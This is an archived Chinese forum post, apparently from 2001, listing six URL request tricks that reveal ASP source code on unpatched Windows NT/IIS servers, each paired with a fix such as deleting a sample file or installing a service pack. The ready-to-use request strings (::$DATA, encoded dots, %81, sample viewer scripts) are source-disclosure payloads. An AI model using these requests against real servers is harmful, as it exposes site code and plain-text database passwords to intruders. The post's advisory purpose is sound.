精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>网络专区>>● 网站建设>>Web 编程>>ASP>>偷看ASP原码的6种方法

主题:偷看ASP原码的6种方法
发信人: 2001asp(ujj)
整理人: eagle(2001-05-19 17:49:29), 站内信件
在没有打Services Pack6补丁的NT server上,至少有6种方法可以看到ASP程序的源代码,它们是: 

1、http://www.someserver.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/SELECTOR/showcode.asp 
解决方案:删除showcode.asp 

2、http://somewhere/something.asp::$DATA 
解决方案: 装sp3 

3、http://somewhere/something.asp%2e 
解决方案: 装sp4 

or http://somewhere/something.asp.(加一个点) 
解决方案: 装sp4 

4、http://somewhere/something%2e%41sp 
或者 http://somewhere/something%2e%asp 
解决方案: 装sp4 

5、http://somewhere/something.asp%81 
解决方案:装sp6或者打补丁 

6、http://somewhere/iissamples/exair/howitworks/code.asp?source=xxx.asp 

最大的危害莫过于asp文件可以被上述方式读出;数据库密码以明文形式暴露在黑客眼前



----
E网情深国立华侨大学商检95本主页(http://sj95.126.com)

          

[关闭][返回]